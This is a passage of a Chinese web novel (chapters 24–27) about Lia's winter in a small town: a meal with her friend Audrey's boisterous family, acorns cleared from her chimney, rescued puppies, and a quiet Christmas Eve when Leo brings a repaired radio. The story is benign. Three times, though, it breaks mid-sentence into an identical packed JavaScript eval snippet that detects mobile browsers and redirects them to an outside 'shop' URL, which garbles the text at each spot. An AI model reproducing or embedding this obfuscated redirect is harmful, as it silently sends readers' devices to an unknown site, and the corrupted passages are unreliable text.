“那我们家可就是另一个极端了，”奥黛丽立刻接话，“我老爸说了雪天和烤鹿肉是上帝安排的绝配，还有我老妈用烤盘底下加上洋葱、蘑菇和黑胡椒熬出来的肉汁，老天，香得能让人把舌头一起吞下去。我能用烤得外脆内软的面包，把盛肉汁的盘子擦得锃光瓦亮，比洗过还干净。” 她顿了顿，声音忽然带上了一点平日里不常有的感慨，“莉娅想想看，我们从三年级成为朋友……时间过得真快像被狗追着跑似的，我还记得你第一次来我家玩，被我爸养的当时还在壮年的老土豆堵在车里不敢下来，脸都吓白了。” 莉娅回忆起那个有点窘迫的下午，忍不住笑了：“那是因为它当时冲我龇着牙，喉咙里还发出低吼。” “它那是在笑，表示欢迎。” 奥黛丽立刻为自己的爱犬，语气理直气壮，“只是我们霍金斯家养的狗，长相都比较……嗯，比较严肃，有性格。” 两人都笑了起来，笑声在寂静的雪地里传得很远。 笑过之后奥黛丽翻了个身，用手肘支着脑袋，侧躺着看向莉娅。红色的卷发沾着雪花，贴在汗湿的额头上，她的表情变得稍微认真了些。 “嘿说真的，莉娅你说明年这时候，我们会在哪儿？高中眼看着就要毕业了。感觉昨天我们还在为六年级的数学考试发愁，今天就要考虑以后要做什么了。” 未来，像眼前这片被新雪覆盖的广阔林地，充满了无限可能。 莉娅没有说话，只是静静地望着天空飘落的雪花。 就在这时，“咚咚咚”的敲击声打破了这片寂静。 她们循声望去，厨房那扇结着冰花的窗户后面出现了霍金斯太太那张总是洋溢着热情笑意的脸庞。 她用力地朝她们挥着手，隔着玻璃，口型清晰无比地传达着信息：“吃饭了……” 当她们站起来时，雪地里留下了两个清晰的、翅膀张开的天使形状，并排在一起。 午餐时光如同霍金斯家一贯的风格，像一场充满欢乐气息的夏季风暴，与窗外静谧的雪世界形成了鲜明对比。 用厚实松木打制的餐桌几乎被占得满满当当，桌面因为年深日久的擦拭和无数次餐盘的碰撞，呈现出一种温润的光泽。 奥黛丽的父亲，弗兰克·霍金斯，稳坐在餐桌的主位。 他身材魁梧，肩膀宽阔，常年的户外活动让他的脸庞刻满了风霜的痕迹。他正专注地使用着锋利的猎刀，慢条斯理地切割着一大块外皮烤得焦黄酥脆的鹿后腿。 他的几个年长的儿子，完美继承了父亲的体魄，正在餐桌的另一端声音洪亮地争论着昨天狩猎的细节。 “我敢打赌，那头公鹿的蹄印绝对超过五英寸。” “得了吧杰克，你看错了，那是在软泥里的印记，放大了。” “嘿，我当时看得清清楚楚……” 他们的声音像低音炮一样在房间里共振。 奥黛丽的大姐姐，她在镇上理发店工作，正一边给旁边的小妹妹分土豆，一边抱怨着某个对发型挑剔到令人发指的老太太。二姐姐则在附近的社区大学读书，说着课堂上那位说话总是带着奇怪口音的哲学老师闹出的笑话。 几个年纪小的弟妹，正是猫狗都嫌的年纪，根本在椅子上坐不住，在桌子底下钻来钻去为了最后一块淋着枫糖浆的烤玉米面包差点“大打出手”，尖叫和笑闹声此起彼伏。 霍金斯太太系着一条印着红色小碎花的围裙，脸颊因为厨房的热气而红扑扑的。她一手端着的巨大烤盘里烤得边缘焦香的土豆和胡萝卜，另一只拿着陶瓷碗，里面是浓稠滚烫肉汁。那是用烤盘底部的精华、炒香的洋葱末熬制而成的，是这顿盛宴的灵魂所在。 “奥黛丽别光顾着自己吃，给你朋友多切点肉，瞧莉娅瘦的，风一吹就跑了。” “杰克你是哥哥，管管你弟弟，别让他用手直接抓土豆，给他叉子。” “米兰乖乖坐好吃饭，不然下午的苹果派没你的份。” “谁看到辣椒粉了？我记得就放在这儿的……” 她的声音覆盖过所有的嘈杂，维持着餐桌的基本秩序。 奥黛丽在这种环境中如鱼得水，她一边大声反驳着哥哥对她堆雪人技术“毫无长进”的调侃，一边眼疾手快地从弟弟手里抢回被黄油块，还能抽空用叉子叉起一大块最好的鹿里脊肉，不由分说地放到莉娅的盘子里，并用眼神示意她“快吃”。 “瞧见没？”奥黛丽趁着某个短暂的空隙，凑到莉娅耳边得意地小声说，嘴里还塞着食物，“这就是霍金斯家的日常，吵是吵了点，有时候简直像动物园喂食时间，但保证你永远不会感到孤独，也绝对不会吃不饱。” 莉娅点点头。 饭后，杯盘狼藉的餐桌留给霍金斯太太和稍大些的姐姐们收拾，奥黛丽迫不及待地拉着莉娅逃离了依旧喧闹的餐厅，溜进了属于她和两个妹妹的房间。 那是被多个孩子共享的房间，空间不算宽敞，墙壁上贴着泛旧的小朵蔷薇图案壁纸，有些地方因为受潮起了泡。角落里堆着各种各样的杂物，像是一捆捆捆扎好的旧杂志，几个装着不明物品的藤条箱，墙角倚着一副旧的滑雪板。 房间里摆着两张上下床，住着奥黛丽和她的两个八岁的双胞胎妹妹。属于奥黛丽的地盘，是靠近窗户的那张床的上铺。 她像只灵活的猴子三下两下就爬了上去，然后“哗啦”一声拉上了床帘。帘子一拉上，这个不足五平方米的上铺空间立刻成了一个与楼下喧闹隔绝开了。 莉娅也脱了鞋，跟着爬了上去。 奥黛丽的床充满了她个人印记，床帘内侧用图钉固定着几张已经有些褪色的摇滚乐队海报，那些主唱们顶着蓬松爆炸头，穿着紧身皮裤，抱着电吉他，表情要么声嘶力竭，要么睥睨众生。床头钉着一个用木板和绳子简易搭成的架子。 奥黛丽呈“大”字形瘫倒在铺着厚实羊毛毯的床上，长长地舒了口气。她随手抓起一本边角已经卷起的时尚杂志，漫无目的地翻看着。 她的两个双胞胎妹妹，莉莉和露丝正盘腿坐在下铺的地毯上，给她们的洋娃娃换装，其中一个娃娃的手臂不知何时开裂了，一小撮白色的填充物像棉花糖一样露了出来。 “看这个，”奥黛丽忽然用手指“笃笃”地敲着杂志内页的一张跨页照片。那是一个身材高挑瘦削的模特，她穿着一条看起来价格不菲的银色晚礼服。 “看到旁边的文字没？说她就是在格林威治村的街角买热狗的时候，被一个星探一眼看中的。就一张抓拍的生活照，就成了当家模特之一。”她的语气里充满了不加掩饰的向往，“那可是纽约，是第五大道，是闪闪发光的T台。” “得了吧，奥黛丽，”双胞胎中的莉莉头也不抬地吐槽，手里还在笨拙地给娃娃穿一件小毛衣，“你上次在自己房间里练习走猫步，差点被地毯边缘绊个狗吃屎，还是土豆把你舔醒的。” “那是因为那块地毯坏了。”奥黛丽立刻反驳，随即猛地从床上一跃而下，她落在上下铺之间堆着几本书和一件外套的过道里，清了清嗓子，下巴微抬。 “怎么样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790943|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？仔细看看，我也不差吧？”她说着，真的在宽度不足一米的过道里歪歪扭扭地走起了猫步。 她努力模仿着杂志上模特的样子，臀部夸张地左右扭动，手臂像两根僵硬的钟摆，脸上努力维持着一种“全世界都欠我钱”的疏离表情。甚至还停下来背对着想象中的观众，猛地回头，抛出一个滑稽可爱的眼神。 两个双胞胎妹妹先是一愣，随即爆发出几乎要喘不上气来的笑声。 “像……像一只在冰面上学跳舞的胖企鹅。”露丝笑得捶打着地毯。 “我走得比你好，看我的。”莉莉不甘示弱也跳起来，学着奥黛丽的样子走了几步，姿势更加怪异，像个小机器人。 “我走的才是最好的。”露丝也加入进来。 顿时三个女孩在小小的房间里歪歪扭扭地走着，碰撞着，笑闹着。 莉娅坐在上铺的床边，双腿垂下来，看着这一幕忍不住也笑得肩膀直抖。她没有加入，而是轻轻拿起那个被双胞胎遗忘在角落的洋娃娃。 娃娃的衣服有些旧了，裙边甚至起了毛球，但洗得很干净。莉娅记得，这是她母亲很多年前用做衣服剩下的碎布头亲手缝制送给奥黛丽作为生日礼物的，娃娃里面填充的不是普通的棉花，而是晒干的薰衣草花籽，即使过去了这么多年凑近了仔细闻，还能隐约捕捉到那一丝若有若无的草本香气。 她从小到大的玩具，很多都出自母亲那双灵巧的手。 莉娅翻出从奥黛丽的针线盒，熟练地挑选出颜色相近的线，穿针引线，然后开始为娃娃缝合手臂上的裂口。 “滚滚滚，你们两个小屁孩毛都没长齐就想当模特？等你们长开了，身高超过五英尺再说吧。”奥黛丽带着被妹妹们嘲笑后的“恼羞成怒”，把两个还在嘻嘻哈哈的双胞胎赶开，然后一把拉起刚为娃娃缝好最后一针的莉娅，重新爬回了上铺，再次“哗啦”一声拉上了床帘。 喧嚣与笑闹被厚实的帘子隔绝在外，小小的空间里瞬间恢复了宁静。奥黛丽长长地呼出了一口气，呈“大”字形仰面瘫倒在床上，盯着床帘顶棚上那些斑驳的光影发呆。 “喂，莉娅，”她轻声说，刚才的闹腾劲儿和夸张的语气全都消失了，“你说……我真的有可能吗？离开小镇，去纽约，或者芝加哥，站在真正的T台上？” 她的手指抠着身下的羊毛毯，“而不是……而不是留在这里，像我老爸期望的那样找个同样喜欢打猎的愣小子结婚，生一堆孩子，然后在厨房和林子之间度过一辈子？” 她的声音越来越低，最后几乎变成了呢喃，“有时候我觉得自己无所不能，有时候……又觉得做什么都不行。” 莉娅侧过头，看着好友的侧脸。 她没有立刻用空洞的安慰来回答，只是默默地伸出手，轻轻握住了奥黛丽的手。 那手上带着属于山林和劳动的、坚实的力量感。 奥黛丽的手先是僵硬了一下，随即反手紧紧握住了莉娅的手，用力得几乎让莉娅感到疼痛。过了几秒钟，她手上的力道才缓缓松开，但依旧没有放开。 窗外雪依旧在下，无声无息，孜孜不倦，覆盖着幽深的林地、沉睡的小镇，覆盖着“福斯特先生”滑稽的帽子。 奥黛丽轻轻晃了晃两人交握的手，然后彻底松开，她翻了个身面向莉娅，脸上又重新挂上了那种大大咧咧的笑容。 “算了，不想了。反正离毕业还有段时间，现在睡觉，或者……我们再想想怎么捉弄楼下那两个小讨厌鬼？” 她狡黠地眨了眨眼。 莉娅也笑了，轻轻“嗯”了一声。 两人不再说话，就这样静静地躺在温暖的床铺上，听着窗外雪落的寂静，听着彼此平稳的心跳，享受着这份在喧嚣家庭中难得的宁静与亲密。 25. chapter 25 时间一点点流逝，将近圣诞节了。 天气越来越冷，湖面边缘开始结起薄薄的、透明的冰层。镇上的房屋都冒起了缕缕炊烟，空气里弥漫着烧木头的独特香气。 莉娅独自住在父母留下的老屋里，也开始考虑生炉火取暖。 房子有个老式的壁炉，一个夏天过去烟囱怕是已经成了松鼠和鸟雀的乐园。清理烟囱是个技术活，也有点危险，她一个人搞不定。 这天下午，她裹紧围巾走到利奥家。米勒夫人正在厨房里忙着烘烤圣诞饼干，满屋子都是黄油和肉桂的甜香。 “米勒太太，”莉娅有些不好意思地开口，“能……借利奥一下吗？我想清理一下家里的烟囱，需要人帮帮忙。” 利奥的母亲从面粉堆里抬起头，脸上立刻绽开热情的笑容：“哦亲爱的，当然可以。你去仓库找他，他肯定在那儿。去吧去吧，让他活动活动筋骨，自从从球队退出以后，这小子除了睡觉，就是呆在那个旧仓库里捣鼓些乱七八糟的东西，我真怕他闷出蘑菇来。” 莉娅道了谢，绕过屋子，走向后院那个略显破败的木棚旧仓库。她推开门，仓库里光线昏暗，只有一盏孤零零的灯泡悬在屋顶。 利奥正背对着她，俯身在一个老旧的工作台前，台子上摊着一堆复杂的金属零件，旁边还放着一台被拆开了一半的收音机。 他手里拿着工具，专注地拧着什么，台灯的光晕勾勒出他专注的侧影。 莉娅发现，褪去了球衣和运动背包的利奥，似乎找到了一种新的乐趣。 “利奥？”莉娅轻声叫道。 利奥转过身，看到是她，随即放下手中的工具，用一块破布擦了擦手：“莉娅，怎么了？” 莉娅说明来意。 利奥听完点了点头，“等我一下。” 他说着，在仓库角落里翻找起来，很快拿出了一捆粗绳子、一个带着刷子的长杆、一件旧得看不出颜色的罩衣，还有一副手套和一個护目镜。 “走吧。”他利索地套上罩衣，把其他工具扛在肩上。 到了莉娅家，利奥先仔细检查了壁炉内部的结构，又跑到屋外观察烟囱的走向和高度。 然后他指挥莉娅：“你待在屋里看着炉膛，等我开始清理，会有东西掉下来，你离远点别弄脏了，也别被砸到。” 莉娅在屋里，能听到他在上面走动和固定绳索的声音。过了一会儿，他的声音从烟囱口传下来，有点闷闷的：“莉娅，准备好了吗？我要开始了。” “好了。”莉娅退后几步，紧张又好奇地盯着黑乎乎的炉膛。 起初，只是一些窸窸窣窣的小石子、灰尘和枯枝碎叶掉下来。但很快动静变大了，上面传来利奥用力捅刷的声音，紧接着炉膛里响起一阵密集的、如同冰雹砸落的“噼里啪啦”声。 无数颗圆滚滚、棕褐色的小东西，如同决堤的洪水从烟道里倾泻而下，瞬间在炉底堆起了一座小山。 莉娅惊得瞪大了眼睛。 不是什么积灰或鸟巢，是数不清的橡子。 显然，某只富有远见的松鼠把莉娅家的烟囱当成了完美的过冬粮仓，在这里囤积了惊人的财富。 屋顶上的利奥似乎也愣了一下，然后他的声音带着笑意传下来：“嘿，看来我们打扰了某位邻居的圣诞大餐计划。” 等橡子雨基本停歇，利奥从屋顶下来，脸上蹭了些黑灰。他和莉娅看着炉膛里那座橡子小山，都忍不住笑了起来。 两人找来扫帚和簸箕，开始清理这“意外之财”。 “这些怎么办？”莉娅看着满地的橡子，有些发愁。 利奥抓起一把，在手里掂了掂：“晒干了可以当柴火引子，或者……扔到后院树林边上，算是还给它们的主人？不过估计会引来不少松鼠，你家后院明年春天可能要长出很多小橡树苗了。” 清理工作完成，壁炉终于可以安全使用了，屋里弥漫着淡淡的烟尘味和橡木的清香。利奥洗了手，站在重新变得干净温暖的客厅里，显得有些局促，好像完成了任务，就不知道该说什么了。 窗外，天色渐暗，隐约有零星的雪花飘落。 利奥看着窗外，忽然开口，声音有些迟疑：“那个……圣诞节，你有什么安排吗？” 莉娅正在整理扫帚，动作顿了一下。 利奥继续说：“我母亲很期待你能一起来过圣诞夜，到时候，我的两个姐姐和她们的家人也会回来，应该会……挺热闹的。” 他顿了顿，补充道，“就是吃顿饭，没什么特别的。” 莉娅抬起头，对他露出一个微笑：“谢谢你利奥，也谢谢米勒太太。但是……我还是想自己在家过。” 这已经不是第一次邀请了。 前几天她的好朋友，住在镇子边缘林间的那个有着一大堆兄弟姐妹的闺蜜奥黛丽也热情地邀请她去家里过圣诞。 “来嘛莉娅，我家那群小猴子虽然吵得要命，但绝对热闹，我妈妈会做超级大的火鸡。” 奥黛丽兴奋地嚷嚷。 莉娅当时也婉拒了，她去过奥黛丽家很多次，那热闹的场景至今记忆犹新。 十几个孩子加上父母叔婶，房子仿佛时刻处于一种欢乐的、即将被撑爆的边缘。吃饭时兄弟之间为了一块肉汁土豆泥都能发生几句口角，下一秒就可能演变成一场餐桌下的“猴子打架”，而奥黛丽和她的母亲已经能面不改色地迅速端起珍贵的瓷盘撤离现场。 那种充满生命力的、近乎混乱的温暖，很好但莉娅知道自己承受不来。 利奥看着莉娅平静的表情，没有再坚持，只是点了点头：“好吧，那……如果需要帮忙生火，或者还有什么别的活儿，随时叫我。” “嗯。”莉娅轻声应道。 利奥离开了，屋子里又恢复了寂静。莉娅走到窗边，看着外面飘落的雪花，她拒绝了热闹的邀请，选择独自面对这个象征团圆的节日。 炉膛已经清理干净，只等投入木柴，点燃冬日的温暖。 * 之后，莉娅慢慢习惯了独自生活的节奏，壁炉生起了火，屋子里总算有了些暖意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792247|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她正坐在炉边看书，就听见门外传来一阵活泼响亮的叫喊声，伴随着靴子踩在雪地上发出的“嘎吱”声，由远及近。 “莉娅，莉娅，快开门，冻死我啦。” 是奥黛丽。 她的声音就像她这个人一样，充满活力。 莉娅放下书，走到门边，刚打开一条缝，一个裹得严严实实、像只圆滚滚的熊似的身影就挤了进来，带进一股凛冽的寒气和一个盖着厚布的、看起来沉甸甸的大篮子。 “我的天，你这儿可真暖和。”奥黛丽摘下沾满雪花的羊毛帽，露出一张被冻得通红却洋溢着笑容的脸蛋，卷发乱糟糟地贴在额头上。 她跺跺脚，把靴子上的雪抖落，然后神秘兮兮地把篮子放在炉火边的地毯上。 “猜猜我给你带什么来了？”奥黛丽眨眨眼，不等莉娅回答，就猛地掀开了篮子上的布。 顿时几个毛茸茸的小脑袋从篮子里探了出来，发出细声细气的“呜呜”声。 是小狗，大概有四五只，看起来刚断奶不久像一个个会滚动的毛线团，花色各异，有黑的、黄的、黑白相间的。 它们的小鼻子湿漉漉的，好奇地嗅着空气中陌生的味道，黑豆似的小眼睛怯生生又充满探索欲地打量着这个温暖的新环境。 莉娅惊讶地睁大了眼睛，蹲下身去。一只胆子稍大的黄色小奶狗颤巍巍地爬出篮子，用脑袋蹭了蹭她的手指，温暖柔软的触感瞬间从指尖传到了心里。 “这是……？” “唉，别提了。”奥黛丽也盘腿坐在地毯上，脱下厚重的手套，伸手逗弄着另一只小黑狗，“不知道哪来的流浪狗在林子里生的，狗妈妈好像不见了，可能是被……也可能是自己没熬过去。” 她耸耸肩，“这样的天气它们在外面肯定活不了，我父亲说养不了，家里猎犬够多了，这些小家伙又不是什么好品种。我想着你这儿清净，或许……能暂时收留它们一下？” 小狗们似乎确认了这里没有危险，开始笨拙地爬出篮子，在温暖的地毯上探索起来。有的去嗅莉娅的拖鞋，有的试图啃咬地毯的流苏，还有的干脆依偎在一起，在炉火的温暖下打起了小盹。 莉娅看着这些脆弱又顽强的小生命，心里最柔软的地方被触动了。她伸出手指，轻轻抚摸着那只小黄狗柔软的肚皮，小家伙发出满足的哼唧声。 “等雪停了，”莉娅抬起头对奥黛丽说，眼神里有了决定，“我们就带着它们去镇上问问，看看有没有人家愿意收养。这几天，就先养在我这儿吧。” 奥黛丽松了口气，脸上绽开一个大大的笑容：“我就知道你会答应的，它们吃得不多，我带了些碎肉和米糊过来，够它们吃几天的。” 她看着莉娅小心翼翼地将一只爬远的小狗捧回来的样子，促狭地笑道，“看来你这个圣诞节能热闹点了，虽然可能有点过于‘热闹’。” 莉娅看着脚下这群毛茸茸的、依赖着她的小东西，嘴角不自觉地上扬了一个弧度。 炉火“噼啪”作响，小狗们发出安稳的呼吸声。 26. chapter 26 圣诞节前夕，橡林镇被一层新雪覆盖，显得格外宁静，空气中飘荡着烤姜饼和松枝的香味。 莉娅婉拒了所有邀请，决心独自度过这个夜晚。 下午，她去了镇上的伍尔沃斯杂货店，买了最小份的火鸡胸肉、一些土豆、一颗孤零零的西兰花，还有一小盒店里自制的圣诞布丁。 采购的时候她遇到了奥黛丽一家，他们推着满满一购物车的食物，吵吵嚷嚷，热闹非凡。 回到冷清的家，她打开收音机让音乐填满空间。她按照记忆里母亲的做法笨拙地烤着火鸡，煮着土豆，试图复制一种“正常”的圣诞氛围。 食物的香气渐渐弥漫开来，但窗外的欢声笑语、隐约传来的圣诞颂歌，反而将她的孤独衬托得更加清晰。 她坐在餐桌前，对着自己精心准备的晚餐，忽然失去了胃口。收音机里正在播放一首欢快的《铃儿响叮当》，她听了很多遍，最后还是走过去关掉了收音机。 屋子里瞬间陷入一片死寂，只有壁炉里木柴燃烧时发出的、细微的噼啪声。 就在这时，敲门声响起了。 声音不大，但在寂静中格外清晰。 莉娅愣了一下。 会是谁？邮差？推销员？在这个阖家团聚的夜晚，似乎都不太可能。她带着一丝疑惑走到门边，透过猫眼向外望去。 门外站着利奥。 他没戴帽子，深棕色的头发上落着细小的雪花，鼻子冻得有点红。他穿着一件厚厚的旧羽绒服，双手似乎藏在身后。 莉娅打开了门，寒冷的空气瞬间涌了进来。她小心地将门打开一条缝，用脚抵住门板，防止某个热情过度的“小毛团”趁机溜出去。 “嗨。”利奥的声音有点干巴巴的。 “嗨。”莉娅把门开大了一些，让他进来，“你怎么来了？” “吃过了，姐姐们太吵，孩子们闹得厉害，我……出来透透气。”利奥解释道，“你……吃过了吗？” “刚吃完。”莉娅侧身让他进来。 利奥侧身挤进门，手上还提着东西，刚站稳那几个毛茸茸的小家伙就闻到了新访客的气味，立刻摇摇晃晃、争先恐后地冲了过来，围着他的靴子又嗅又蹭，小尾巴摇得像一个个小陀螺，嘴里发出欢快的“汪汪”声，虽然音量不大，但热情十足。 利奥显然没料到这一幕，他僵了一下，低头看着脚边这团毛茸茸的“混乱”。 “奥黛丽前几天送来的，”莉娅解释道，看着小狗们对利奥毫不认生的样子，“狗妈妈不见了，天太冷，暂时寄养在这儿。” 利奥蹲下身，伸出那只没受伤的右手，动作非常自然地、熟练地抚摸着小狗们的脑袋和后背。他的手指修长，抚过小狗柔软的毛发，小狗们似乎感受到了这种善意的安抚，更加亲昵地往他手心里钻，舔着他的手指。 莉娅看着利奥低垂的侧脸和专注的眼神，忽然想起波比。 米勒家那只有很友善的金毛巡回猎犬。 利奥一边轻轻挠着一只小黑狗的下巴，一边低声开口：“我们家很久没有养狗了，波比老了，去世了之后就没再养过。” 他顿了顿，：“你知道的，我父亲以前喜欢去钓鱼，波比总是跟着。它有个坏毛病，喜欢潜到水里捡石头，觉得好看的、光滑的石头就叼上来，放在我父亲的鱼桶边，弄得桶里又是水又是泥。我父亲每次都好气又好笑，等波比不注意，又悄悄把那些石头扔回水里。” “我小时候去上学，每天早上只要我拍拍手，波比就会从院子里冲出来，一路跟着我，把我送到学校门口，看着我进去了，它才自己摇着尾巴回家。” 他说得很简单，没有过多的渲染。 之后利奥这才介绍拿来的东西，他一只手拎着一个系着丝带的、扁平的纸盒，另一只手则抱着一个用旧毯子裹得严严实实的、看起来沉甸甸的东西。 “这个，”他把纸盒递给莉娅，语气尽量随意，“我母亲非要我带来的，她烤的苹果派，说让你尝尝。” 莉娅接过纸盒，闻到里面散发出的、温暖甜蜜的香气：“谢谢米勒太太。” 然后利奥把那个用毯子裹着的东西小心翼翼地放在地上，他蹲下身揭开毯子，里面不是什么珍贵的礼物，是一台看起来有些年头的、体积不小的老式真空管收音机。 木质的外壳被擦拭得很干净，但边角处有些磨损的痕迹。 自从从曲棍球退队以后利奥的生活节奏彻底改变了，训练和比赛规定着他每天放学后的时间流向。如今倒是真真正正的成为了一个闲人，他睡了几天懒觉，看完了积压的几本机械杂志，帮母亲修理了家里所有吱呀作响的门和漏水的龙头。 他越来越多地待在后院的旧仓库里。 那里曾是他父亲的工作间，堆满了各种工具、废弃的零件和带着机油味道的记忆。对利奥而言这里比他那间贴满过期荣光海报的卧室更让他感到自在，他开始捣鼓那台老旧的收音机，拆开，清理，焊接松动的线路。 他还翻出了一辆几乎散架的旧自行车，打算把它彻底修复。这项工作琐碎而耗时需要耐心和技巧，正好填满了那些突然多出来的下午。 金属的摩擦声、扳手的敲击声、收音机里传来的老歌，构成了仓库里新的背景音。 母亲偶尔会探头进来，送上一杯热可可或几块刚烤好的饼干，看着儿子沾满油污的侧脸，欲言又止，最终只是温柔地说：“别忙太晚，记得吃饭。” 利奥知道母亲在担心什么。 她怕他沉浸在失去运动的失落里，但奇怪的是利奥并没有感到多么强烈的失落。反而有一种……轻松。 教练的惋惜是真实的，队友们的各奔东西也是真实的，但这些外部的期待和标签剥离之后，他感觉自己像一棵被修剪掉过多枝桠的树，虽然光秃秃的，却更清晰地感知到了自己的主干。 他有时会想起莉娅，想起那个星光黯淡的夜晚，自己在高烧中毫无保留的袒露。想起初雪清晨，两人共享一条毛毯站在窗前的静谧。 那种被深刻理解的感觉，比任何一场比赛的胜利都更让他感到慰藉。 今天是圣诞节，他不再试图去“拯救”或“温暖”她，那太傲慢了。 他只是……想让知道他的存在，就像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16798114|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她知道他的存在一样。 “这个……”利奥抬起头看着莉娅，眼神里带着一种难得的光，“是我修好的，放在仓库里很久了，我试了试居然还能用。音质……比你现在用的那个小晶体管收音机好一点。” 他顿了顿，补充道，“圣诞夜一个人，有点声音会好些。” 莉娅看着那台收音机，又看看利奥被机油略微染脏的指甲和冻红的耳朵，一时间说不出话来。 利奥手脚麻利地把收音机连接到电源和莉娅家的旧音箱上，打开开关，预热片刻，然后一阵温暖、醇厚、带着细微“沙沙”底噪的音乐流淌了出来，果然比她那台小收音机干瘪的声音丰满、动人得多。 是纳特·金·科尔的《圣诞歌》，歌声舒缓而深情。 “怎么样？”利奥看着她。 莉娅点了点头，嘴角微微上扬：“很好听。” 这是她今晚第一个真心的笑容。 利奥也笑了，像是完成了一项重要任务。 他没有久留的意思，站起身，拍了拍手上的灰：“那……我回去了，派记得吃，我母亲的手艺很棒。” 莉娅送他到门口。 利奥踏入外面的雪地，回头挥了挥手：“圣诞快乐，莉娅。” “圣诞快乐，利奥。”莉娅轻声说。 门关上了但屋子里不再死寂，醇厚的音乐流淌着，苹果派的香气弥漫着。 莉娅切了一小块派放进嘴里，香甜酥软，她走到窗边看着利奥的身影在雪中渐渐走远，消失在挂满彩灯的街道尽头。 莉娅亲亲这只小狗，抱抱那只小狗，感受着音乐充斥着整个房子。 这个圣诞夜她依然孤单，但并不孤独。 大雪又断断续续地下了几天，将橡林镇彻底捂在一片厚厚的、柔软的白色之下。世界变得极其安静，声音都被积雪吸收了只剩下风掠过屋檐和树梢时发出的低吟。 窗外的湖面，失去了波光粼粼的灵动，开始凝结一层灰白色的、日益坚实的冰壳，像一块巨大而朦胧的毛玻璃。 莉娅的小屋里却洋溢着与室外截然不同的生机与暖意。 壁炉里的火终日不熄，木柴燃烧发出的噼啪声是这静谧冬日里最令人安心的背景音。 那几只小狗，这些毛茸茸的、意外闯入的小客人们，成了屋子里的绝对主角。 它们年纪尚小，大部分时间依旧蜷缩在炉火边那条厚厚的旧毛毯里，像几个颜色各异的、会呼吸的小面团，睡得肚皮一起一伏，偶尔在梦中发出细小的呜咽或抽搐一下小腿。 但当它们醒来后整个屋子便立刻热闹起来，它们跌跌撞撞地互相追逐、打滚，用没长齐的乳牙啃咬一切能碰到的东西——地毯的流苏、莉娅的拖鞋带、甚至是彼此的耳朵和尾巴，发出威胁似的、却毫无威慑力的“呜呜”声。 只要莉娅一起身走动，几只小尾巴就会立刻摇成旋风，它们簇拥在她的脚边，用温暖的小身体绊着她的脚步，发出急切又期待的汪汪叫。 仿佛她是这个世界上最重要、最值得追随的存在。 莉娅忙碌着，照顾它们，也照顾自己 27. chapter 27 她想起了从烟囱里清出来的那堆橡子，她留了一部分，没有全部扔掉或归还给松鼠。这几天趁着小狗们熟睡、屋外风雪呼啸的时候，她开始耐心地处理这些大自然的馈赠。 莉娅先将橡子一颗颗用锤子小心敲开，取出里面淡黄色的果仁。橡子仁直接吃是苦涩的，她按照记忆中某本旧书里看来的方法，将果仁放在一个小石臼里，用小石杵一点点地、反复地研磨成粗糙的粉末。 研磨好的粉末，她用清水浸泡，一遍遍地换水，看着水的颜色从浑浊的棕黄逐渐变得清澈，带走大部分的涩味。 这个过程花了她几乎一整天的时间，但她并不觉得枯燥。 滤干水分后，她将处理好的橡子粉与少量的面粉、发酵粉、盐和一点从米勒家家带来的枫糖浆混合。平底锅在炉火上烧热，抹上一点点的黄油，然后将面糊舀进去。 很快，一种混合了坚果烘烤的特殊香气和枫糖的甜香便弥漫开来，盖过了木柴和狗崽的味道。 松饼在锅里发出滋滋的声响，边缘泛起可爱的金黄色小泡。莉娅小心地翻面，看着另一面也煎得恰到好处。 她给自己倒了一杯牛奶，就着刚出锅的、热腾腾的橡子松饼，坐在窗边慢慢地吃着。松饼的口感不像普通面粉那么细腻，带着些许粗粝感，但那种独特的、坚实的坚果风味和淡淡的甜意，却格外让人满足。 这味道属于森林，属于冬天。 几只小狗被香味吸引，围着她脚边打转，她掰了一点点没有糖浆的边角给它们，它们立刻用小舌头卷走，满足地舔着嘴巴。 几天后的一个清晨，莉娅推开屋门，发现雪终于停了。 阳光虽然苍白，却耀眼地反射在无垠的雪地上，整个世界亮得让人睁不开眼。积雪很深几乎没过了门槛，她拿起靠在门边的旧雪铲，开始费力地清理门前的积雪。 寒冷的空气吸入肺中，清新凛冽。 铲雪是个体力活，没多久她的额头就冒出了细汗，脸颊冻得通红。 就在她直起腰稍作喘息时，看到利奥踩着厚厚的积雪，深一脚浅一脚地走了过来。他穿着厚重的靴子和一件领口毛茸茸的旧外套，呼出的气息在冷空气中结成白雾。 “需要帮忙吗？”他走到近前，很自然地伸出手，“铲子给我。” 莉娅没有客气，把铲子递给他。利奥接过铲子，干起活来明显比她有力且高效得多。他宽阔的肩膀有节奏地运动着，雪块被利落地铲起，抛到一旁。 